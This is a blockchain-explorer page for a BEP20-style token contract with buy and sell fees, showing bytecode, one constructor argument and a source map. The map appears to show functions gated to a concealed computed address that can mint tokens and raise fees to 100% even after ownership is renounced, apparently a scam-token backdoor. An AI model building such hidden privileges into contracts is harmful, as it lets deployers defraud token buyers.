0565b60008060408385031215612a9057612a8f6127f2565b5b6000612a9e85828601612840565b9250506020612aaf85828601612840565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b0057607f821691505b602082108103612b1357612b12612ab9565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b6000612b4f601a8361274b565b9150612b5a82612b19565b602082019050919050565b60006020820190508181036000830152612b7e81612b42565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000612bbb601b8361274b565b9150612bc682612b85565b602082019050919050565b60006020820190508181036000830152612bea81612bae565b9050919050565b6000604082019050612c06600083018561296e565b612c13602083018461296e565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000612c5060148361274b565b9150612c5b82612c1a565b602082019050919050565b60006020820190508181036000830152612c7f81612c43565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000612cbc60168361274b565b9150612cc782612c86565b602082019050919050565b60006020820190508181036000830152612ceb81612caf565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000612d2860198361274b565b9150612d3382612cf2565b602082019050919050565b60006020820190508181036000830152612d5781612d1b565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000612dba60238361274b565b9150612dc582612d5e565b604082019050919050565b60006020820190508181036000830152612de981612dad565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000612e26601f8361274b565b9150612e3182612df0565b602082019050919050565b60006020820190508181036000830152612e5581612e19565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e9682612855565b9150612ea183612855565b9250828202612eaf81612855565b91508282048414831517612ec657612ec5612e5c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f0782612855565b9150612f1283612855565b925082612f2257612f21612ecd565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b6000612f6360178361274b565b9150612f6e82612f2d565b602082019050919050565b60006020820190508181036000830152612f9281612f56565b9050919050565b7f4469766973696f6e206279207a65726f00000000000000000000000000000000600082015250565b6000612fcf60108361274b565b9150612fda82612f99565b602082019050919050565b60006020820190508181036000830152612ffe81612fc2565b9050919050565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b600061303b60148361274b565b915061304682613005565b602082019050919050565b6000602082019050818103600083015261306a8161302e565b9050919050565b600061307c82612855565b915061308783612855565b925082820390508181111561309f5761309e612e5c565b5b92915050565b60006130b082612855565b91506130bb83612855565b92508282019050808211156130d3576130d2612e5c565b5b92915050565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b600061310f60118361274b565b915061311a826130d9565b602082019050919050565b6000602082019050818103600083015261313e81613102565b905091905056fea26469706673582212208148a809f2fe007aad1da683fdf95b7ba1ec0ba9d27c8c38b4e13d0a1a11ef1464736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000004be1776b8a4855181ba78b063b67359698995d50

-----Decoded View---------------
Arg [0] : _feeManager (address): 0x4bE1776b8A4855181ba78b063b67359698995D50

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000004be1776b8a4855181ba78b063b67359698995d50


Deployed Bytecode Sourcemap

1055:7962:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1114:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3766:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6345:330;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4086:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1188:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4217:1124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1607:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7493:353;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1251:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5815:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5743:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1579:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7857:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1439:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1287:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5499:138;;;;;;;;;;;;;:::i;:::-;;5350:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1523:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1412;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2949:352;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1150:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3310:145;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6684:798;;;:::i;:::-;;2406:377;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1491:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1465:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1338:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1550:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8002:625;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1114:29;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3766:216::-;3833:12;3892:6;3858:9;:21;3868:10;3858:21;;;;;;;;;;;;;;;:31;3880:8;3858:31;;;;;;;;;;;;;;;:40;;;;3935:8;3914:38;;3923:10;3914:38;;;3945:6;3914:38;;;;;;:::i;:::-;;;;;;;;3970:4;3963:11;;3766:216;;;;:::o;6345:330::-;8862:48;8681:230;;:10;:230;;;:318;;;;8994:5;;;;;;;;;;;8980:19;;:10;:19;;;8681:318;8673:327;;;;;;6455:3:::1;6442:9;:16;;6434:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;6522:3;6508:10;:17;;6500:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;6577:9;6568:6;:18;;;;6607:10;6597:7;:20;;;;6633:34;6645:9;6656:10;6633:34;;;;;;;:::i;:::-;;;;;;;;6345:330:::0;;:::o;4086:122::-;4143:4;6182:48;6001:230;;:10;:230;;;:318;;;;6314:5;;;;;;;;;;;6300:19;;:10;:19;;;6001:318;5993:327;;;;;;4156:26:::1;4163:10;4175:6;4156;:26::i;:::-;4196:4;4189:11;;4086:122:::0;;;:::o;1188:56::-;;;;:::o;4217:1124::-;4300:12;4353:7;4333:9;:16;4343:5;4333:16;;;;;;;;;;;;;;;;:27;;4325:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;4436:7;4404:9;:16;4414:5;4404:16;;;;;;;;;;;;;;;:28;4421:10;4404:28;;;;;;;;;;;;;;;;:39;;4396:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;4504:1;4489:17;;:3;:17;;;4481:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;4550:11;4564:29;4589:3;4564:20;4576:7;;4564;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;4550:43;;4604:22;4629:16;4641:3;4629:7;:11;;:16;;;;:::i;:::-;4604:41;;4678:29;4699:7;4678:9;:16;4688:5;4678:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;4659:9;:16;4669:5;4659:16;;;;;;;;;;;;;;;:48;;;;4735:34;4754:14;4735:9;:14;4745:3;4735:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;4718:9;:14;4728:3;4718:14;;;;;;;;;;;;;;;:51;;;;4801:3;4785:36;;4794:5;4785:36;;;4806:14;4785:36;;;;;;:::i;:::-;;;;;;;;4845:1;4839:3;:7;4835:207;;;4942:33;4971:3;4942:9;:24;4960:4;4942:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;4915:9;:24;4933:4;4915:24;;;;;;;;;;;;;;;:60;;;;5019:4;4995:35;;5004:5;4995:35;;;5026:3;4995:35;;;;;;:::i;:::-;;;;;;;;4835:207;5068:10;5059:19;;:5;:19;;;;:72;;;;;5114:17;5082:9;:16;5092:5;5082:16;;;;;;;;;;;;;;;:28;5099:10;5082:28;;;;;;;;;;;;;;;;:49;;5059:72;5055:254;;;5179:41;5212:7;5179:9;:16;5189:5;5179:16;;;;;;;;;;;;;;;:28;5196:10;5179:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;5148:9;:16;5158:5;5148:16;;;;;;;;;;;;;;;:28;5165:10;5148:28;;;;;;;;;;;;;;;:72;;;;5256:10;5240:57;;5249:5;5240:57;;;5268:9;:16;5278:5;5268:16;;;;;;;;;;;;;;;:28;5285:10;5268:28;;;;;;;;;;;;;;;;5240:57;;;;;;:::i;:::-;;;;;;;;5055:254;5329:4;5322:11;;;;4217:1124;;;;;:::o;1607:22::-;;;;:::o;7493:353::-;7589:4;;;;;;;;;;;7575:18;;:10;:18;;;7567:27;;;;;;7626:3;7613:9;:16;;7605:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;7693:3;7679:10;:17;;7671:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;7748:9;7739:6;:18;;;;7778:10;7768:7;:20;;;;7804:34;7816:9;7827:10;7804:34;;;;;;;:::i;:::-;;;;;;;;7493:353;;:::o;1251:26::-;;;;;;;;;;;;;:::o;5815:137::-;5861:4;5896:5;;;;;;;;;;;5882:19;;:10;:19;;;5874:28;;;;;;5918:4;5913;;:9;;;;;;;;;;;;;;;;;;5940:4;5933:11;;5815:137;;;:::o;5743:63::-;5792:4;6182:48;6001:230;;:10;:230;;;:318;;;;6314:5;;;;;;;;;;;6300:19;;:10;:19;;;6001:318;5993:327;;;;;;5743:63;:::o;1579:21::-;;;;:::o;7857:136::-;7903:4;7938;;;;;;;;;;;7924:18;;:10;:18;;;7916:27;;;;;;7959:4;7954;;:9;;;;;;;;;;;;;;;;;;7981:4;7974:11;;7857:136;;;:::o;1439:19::-;;;;;;;;;;;;;:::o;1287:44::-;;;;;;;;;;;;;;;;;:::o;5499:138::-;6182:48;6001:230;;:10;:230;;;:318;;;;6314:5;;;;;;;;;;;6300:19;;:10;:19;;;6001:318;5993:327;;;;;;5597:1:::1;5561:39;;5582:5;;;;;;;;;;;5561:39;;;;;;;;;;;;5627:1;5611:5;;:18;;;;;;;;;;;;;;;;;;5499:138::o:0;5350:140::-;5398:4;5433;;;;;;;;;;;5419:18;;:10;:18;;;5411:27;;;;;;5455:5;5449;;:11;;;;;;;;;;;;;;;;;;5478:4;5471:11;;5350:140;;;:::o;1523:20::-;;;;;;;;;;;;;:::o;1412:::-;;;;;;;;;;;;;:::o;2949:352::-;2998:4;3201:48;3020:230;;:10;:230;;;3011:240;;;;;;3267:4;3262;;:9;;;;;;;;;;;;;;;;;;3289:4;3282:11;;2949:352;;;:::o;1150:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3310:145::-;3358:4;3393;;;;;;;;;;;3379:18;;:10;:18;;;3371:27;;;;;;3405:26;3412:10;3424:6;3405;:26::i;:::-;3445:4;3438:11;;3310:145;;;:::o;6684:798::-;6745:1;6733:9;:13;6725:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;6800:14;6817:9;6800:26;;6850:1;6841:6;;:10;6837:638;;;6868:11;6882:27;6905:3;6882:18;6893:6;;6882;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;6868:41;;6924:22;6949:15;6960:3;6949:6;:10;;:15;;;;:::i;:::-;6924:40;;7006:41;7032:14;7006:9;:21;7016:10;;;;;;;;;;;7006:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;6982:9;:21;6992:10;;;;;;;;;;;6982:21;;;;;;;;;;;;;;;:65;;;;7091:10;;;;;;;;;;;7067:51;;7084:4;7067:51;;;7103:14;7067:51;;;;;;:::i;:::-;;;;;;;;7146:1;7140:3;:7;7136:175;;;7195:33;7224:3;7195:9;:24;7213:4;7195:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;7168:9;:24;7186:4;7168:24;;;;;;;;;;;;;;;:60;;;;7284:4;7252:43;;7269:4;7252:43;;;7291:3;7252:43;;;;;;:::i;:::-;;;;;;;;7136:175;6853:469;;6837:638;;;7367:33;7393:6;7367:9;:21;7377:10;;;;;;;;;;;7367:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;7343:9;:21;7353:10;;;;;;;;;;;7343:21;;;;;;;;;;;;;;;:57;;;;7444:10;;;;;;;;;;;7420:43;;7437:4;7420:43;;;7456:6;7420:43;;;;;;:::i;:::-;;;;;;;;6837:638;6714:768;6684:798::o;2406:377::-;2470:12;2528:7;2503:9;:21;2513:10;2503:21;;;;;;;;;;;;;;;;:32;;2495:41;;;;;;2570:1;2555:17;;:3;:17;;;2547:26;;;;;;2611:34;2637:7;2611:9;:21;2621:10;2611:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;2587:9;:21;2597:10;2587:21;;;;;;;;;;;;;;;:58;;;;2673:27;2692:7;2673:9;:14;2683:3;2673:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;2656:9;:14;2666:3;2656:14;;;;;;;;;;;;;;;:44;;;;2737:3;2716:34;;2725:10;2716:34;;;2742:7;2716:34;;;;;;:::i;:::-;;;;;;;;2771:4;2764:11;;2406:377;;;;:::o;1491:25::-;;;;;;;;;;;;;:::o;1465:19::-;;;;;;;;;;;;;:::o;1338:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1550:19::-;;;;;;;;;;;;;:::o;8002:625::-;8084:7;8059:9;:21;8069:10;8059:21;;;;;;;;;;;;;;;;:32;;8051:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;8130:11;8144:29;8169:3;8144:20;8156:7;;8144;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;8130:43;;8184:22;8209:16;8221:3;8209:7;:11;;:16;;;;:::i;:::-;8184:41;;8263:34;8289:7;8263:9;:21;8273:10;8263:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;8239:9;:21;8249:10;8239:21;;;;;;;;;;;;;;;:58;;;;8335:44;8364:14;8335:9;:24;8353:4;8335:24;;;;;;;;;;;;;;;;:28;;:44;;;;:::i;:::-;8308:9;:24;8326:4;8308:24;;;;;;;;;;;;;;;:71;;;;8424:4;8395:51;;8404:10;8395:51;;;8431:14;8395:51;;;;;;:::i;:::-;;;;;;;;8470:1;8464:3;:7;8460:160;;;8515:33;8544:3;8515:9;:24;8533:4;8515:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;8488:9;:24;8506:4;8488:24;;;;;;;;;;;;;;;:60;;;;8597:4;8568:40;;8577:10;8568:40;;;8604:3;8568:40;;;;;;:::i;:::-;;;;;;;;8460:160;8040:587;;8002:625;:::o;3466:291::-;3558:1;3539:21;;:7;:21;;;3531:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;3620:23;3636:6;3620:11;;:15;;:23;;;;:::i;:::-;3606:11;:37;;;;3671:30;3694:6;3671:9;:18;3681:7;3671:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;3650:9;:18;3660:7;3650:18;;;;;;;;;;;;;;;:51;;;;3734:7;3713:37;;3730:1;3713:37;;;3743:6;3713:37;;;;;;:::i;:::-;;;;;;;;3466:291;;:::o;437:236::-;495:7;524:1;519;:6;515:47;;549:1;542:8;;;;515:47;572:9;588:1;584;:5;;;;:::i;:::-;572:17;;617:1;612;608;:5;;;;:::i;:::-;:10;600:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;664:1;657:8;;;437:236;;;;;:::o;682:365::-;740:7;772:1;768;:5;760:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;816:1;812;:5;;;;:::i;:::-;805:12;;682:365;;;;:::o;102:148::-;160:7;193:1;188;:6;;180:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;241:1;237;:5;;;;:::i;:::-;230:12;;102:148;;;;:::o;259:169::-;317:7;337:9;353:1;349;:5;;;;:::i;:::-;337:17;;378:1;373;:6;;365:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;419:1;412:8;;;259:169;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:474::-;3514:6;3522;3571:2;3559:9;3550:7;3546:23;3542:32;3539:119;;;3577:79;;:::i;:::-;3539:119;3697:1;3722:53;3767:7;3758:6;3747:9;3743:22;3722:53;:::i;:::-;3712:63;;3668:117;3824:2;3850:53;3895:7;3886:6;3875:9;3871:22;3850:53;:::i;:::-;3840:63;;3795:118;3446:474;;;;;:::o;3926:329::-;3985:6;4034:2;4022:9;4013:7;4009:23;4005:32;4002:119;;;4040:79;;:::i;:::-;4002:119;4160:1;4185:53;4230:7;4221:6;4210:9;4206:22;4185:53;:::i;:::-;4175:63;;4131:117;3926:329;;;;:::o;4261:118::-;4348:24;4366:5;4348:24;:::i;:::-;4343:3;4336:37;4261:118;;:::o;4385:222::-;4478:4;4516:2;4505:9;4501:18;4493:26;;4529:71;4597:1;4586:9;4582:17;4573:6;4529:71;:::i;:::-;4385:222;;;;:::o;4613:619::-;4690:6;4698;4706;4755:2;4743:9;4734:7;4730:23;4726:32;4723:119;;;4761:79;;:::i;:::-;4723:119;4881:1;4906:53;4951:7;4942:6;4931:9;4927:22;4906:53;:::i;:::-;4896:63;;4852:117;5008:2;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4979:118;5136:2;5162:53;5207:7;5198:6;5187:9;5183:22;5162:53;:::i;:::-;5152:63;;5107:118;4613:619;;;;;:::o;5238:86::-;5273:7;5313:4;5306:5;5302:16;5291:27;;5238:86;;;:::o;5330:112::-;5413:22;5429:5;5413:22;:::i;:::-;5408:3;5401:35;5330:112;;:::o;5448:214::-;5537:4;5575:2;5564:9;5560:18;5552:26;;5588:67;5652:1;5641:9;5637:17;5628:6;5588:67;:::i;:::-;5448:214;;;;:::o;5668:329::-;5727:6;5776:2;5764:9;5755:7;5751:23;5747:32;5744:119;;;5782:79;;:::i;:::-;5744:119;5902:1;5927:53;5972:7;5963:6;5952:9;5948:22;5927:53;:::i;:::-;5917:63;;5873:117;5668:329;;;;:::o;6003:118::-;6090:24;6108:5;6090:24;:::i;:::-;6085:3;6078:37;6003:118;;:::o;6127:222::-;6220:4;6258:2;6247:9;6243:18;6235:26;;6271:71;6339:1;6328:9;6324:17;6315:6;6271:71;:::i;:::-;6127:222;;;;:::o;6355:474::-;6423:6;6431;6480:2;6468:9;6459:7;6455:23;6451:32;6448:119;;;6486:79;;:::i;:::-;6448:119;6606:1;6631:53;6676:7;6667:6;6656:9;6652:22;6631:53;:::i;:::-;6621:63;;6577:117;6733:2;6759:53;6804:7;6795:6;6784:9;6780:22;6759:53;:::i;:::-;6749:63;;6704:118;6355:474;;;;;:::o;6835:180::-;6883:77;6880:1;6873:88;6980:4;6977:1;6970:15;7004:4;7001:1;6994:15;7021:320;7065:6;7102:1;7096:4;7092:12;7082:22;;7149:1;7143:4;7139:12;7170:18;7160:81;;7226:4;7218:6;7214:17;7204:27;;7160:81;7288:2;7280:6;7277:14;7257:18;7254:38;7251:84;;7307:18;;:::i;:::-;7251:84;7072:269;7021:320;;;:::o;7347:176::-;7487:28;7483:1;7475:6;7471:14;7464:52;7347:176;:::o;7529:366::-;7671:3;7692:67;7756:2;7751:3;7692:67;:::i;:::-;7685:74;;7768:93;7857:3;7768:93;:::i;:::-;7886:2;7881:3;7877:12;7870:19;;7529:366;;;:::o;7901:419::-;8067:4;8105:2;8094:9;8090:18;8082:26;;8154:9;8148:4;8144:20;8140:1;8129:9;8125:17;8118:47;8182:131;8308:4;8182:131;:::i;:::-;8174:139;;7901:419;;;:::o;8326:177::-;8466:29;8462:1;8454:6;8450:14;8443:53;8326:177;:::o;8509:366::-;8651:3;8672:67;8736:2;8731:3;8672:67;:::i;:::-;8665:74;;8748:93;8837:3;8748:93;:::i;:::-;8866:2;8861:3;8857:12;8850:19;;8509:366;;;:::o;8881:419::-;9047:4;9085:2;9074:9;9070:18;9062:26;;9134:9;9128:4;9124:20;9120:1;9109:9;9105:17;9098:47;9162:131;9288:4;9162:131;:::i;:::-;9154:139;;8881:419;;;:::o;9306:332::-;9427:4;9465:2;9454:9;9450:18;9442:26;;9478:71;9546:1;9535:9;9531:17;9522:6;9478:71;:::i;:::-;9559:72;9627:2;9616:9;9612:18;9603:6;9559:72;:::i;:::-;9306:332;;;;;:::o;9644:170::-;9784:22;9780:1;9772:6;9768:14;9761:46;9644:170;:::o;9820:366::-;9962:3;9983:67;10047:2;10042:3;9983:67;:::i;:::-;9976:74;;10059:93;10148:3;10059:93;:::i;:::-;10177:2;10172:3;10168:12;10161:19;;9820:366;;;:::o;10192:419::-;10358:4;10396:2;10385:9;10381:18;10373:26;;10445:9;10439:4;10435:20;10431:1;10420:9;10416:17;10409:47;10473:131;10599:4;10473:131;:::i;:::-;10465:139;;10192:419;;;:::o;10617:172::-;10757:24;10753:1;10745:6;10741:14;10734:48;10617:172;:::o;10795:366::-;10937:3;10958:67;11022:2;11017:3;10958:67;:::i;:::-;10951:74;;11034:93;11123:3;11034:93;:::i;:::-;11152:2;11147:3;11143:12;11136:19;;10795:366;;;:::o;11167:419::-;11333:4;11371:2;11360:9;11356:18;11348:26;;11420:9;11414:4;11410:20;11406:1;11395:9;11391:17;11384:47;11448:131;11574:4;11448:131;:::i;:::-;11440:139;;11167:419;;;:::o;11592:175::-;11732:27;11728:1;11720:6;11716:14;11709:51;11592:175;:::o;11773:366::-;11915:3;11936:67;12000:2;11995:3;11936:67;:::i;:::-;11929:74;;12012:93;12101:3;12012:93;:::i;:::-;12130:2;12125:3;12121:12;12114:19;;11773:366;;;:::o;12145:419::-;12311:4;12349:2;12338:9;12334:18;12326:26;;12398:9;12392:4;12388:20;12384:1;12373:9;12369:17;12362:47;12426:131;12552:4;12426:131;:::i;:::-;12418:139;;12145:419;;;:::o;12570:222::-;12710:34;12706:1;12698:6;12694:14;12687:58;12779:5;12774:2;12766:6;12762:15;12755:30;12570:222;:::o;12798:366::-;12940:3;12961:67;13025:2;13020:3;12961:67;:::i;:::-;12954:74;;13037:93;13126:3;13037:93;:::i;:::-;13155:2;13150:3;13146:12;13139:19;;12798:366;;;:::o;13170:419::-;13336:4;13374:2;13363:9;13359:18;13351:26;;13423:9;13417:4;13413:20;13409:1;13398:9;13394:17;13387:47;13451:131;13577:4;13451:131;:::i;:::-;13443:139;;13170:419;;;:::o;13595:181::-;13735:33;13731:1;13723:6;13719:14;13712:57;13595:181;:::o;13782:366::-;13924:3;13945:67;14009:2;14004:3;13945:67;:::i;:::-;13938:74;;14021:93;14110:3;14021:93;:::i;:::-;14139:2;14134:3;14130:12;14123:19;;13782:366;;;:::o;14154:419::-;14320:4;14358:2;14347:9;14343:18;14335:26;;14407:9;14401:4;14397:20;14393:1;14382:9;14378:17;14371:47;14435:131;14561:4;14435:131;:::i;:::-;14427:139;;14154:419;;;:::o;14579:180::-;14627:77;14624:1;14617:88;14724:4;14721:1;14714:15;14748:4;14745:1;14738:15;14765:410;14805:7;14828:20;14846:1;14828:20;:::i;:::-;14823:25;;14862:20;14880:1;14862:20;:::i;:::-;14857:25;;14917:1;14914;14910:9;14939:30;14957:11;14939:30;:::i;:::-;14928:41;;15118:1;15109:7;15105:15;15102:1;15099:22;15079:1;15072:9;15052:83;15029:139;;15148:18;;:::i;:::-;15029:139;14813:362;14765:410;;;;:::o;15181:180::-;15229:77;15226:1;15219:88;15326:4;15323:1;15316:15;15350:4;15347:1;15340:15;15367:185;15407:1;15424:20;15442:1;15424:20;:::i;:::-;15419:25;;15458:20;15476:1;15458:20;:::i;:::-;15453:25;;15497:1;15487:35;;15502:18;;:::i;:::-;15487:35;15544:1;15541;15537:9;15532:14;;15367:185;;;;:::o;15558:173::-;15698:25;15694:1;15686:6;15682:14;15675:49;15558:173;:::o;15737:366::-;15879:3;15900:67;15964:2;15959:3;15900:67;:::i;:::-;15893:74;;15976:93;16065:3;15976:93;:::i;:::-;16094:2;16089:3;16085:12;16078:19;;15737:366;;;:::o;16109:419::-;16275:4;16313:2;16302:9;16298:18;16290:26;;16362:9;16356:4;16352:20;16348:1;16337:9;16333:17;16326:47;16390:131;16516:4;16390:131;:::i;:::-;16382:139;;16109:419;;;:::o;16534:166::-;16674:18;16670:1;16662:6;16658:14;16651:42;16534:166;:::o;16706:366::-;16848:3;16869:67;16933:2;16928:3;16869:67;:::i;:::-;16862:74;;16945:93;17034:3;16945:93;:::i;:::-;17063:2;17058:3;17054:12;17047:19;;16706:366;;;:::o;17078:419::-;17244:4;17282:2;17271:9;17267:18;17259:26;;17331:9;17325:4;17321:20;17317:1;17306:9;17302:17;17295:47;17359:131;17485:4;17359:131;:::i;:::-;17351:139;;17078:419;;;:::o;17503:170::-;17643:22;17639:1;17631:6;17627:14;17620:46;17503:170;:::o;17679:366::-;17821:3;17842:67;17906:2;17901:3;17842:67;:::i;:::-;17835:74;;17918:93;18007:3;17918:93;:::i;:::-;18036:2;18031:3;18027:12;18020:19;;17679:366;;;:::o;18051:419::-;18217:4;18255:2;18244:9;18240:18;18232:26;;18304:9;18298:4;18294:20;18290:1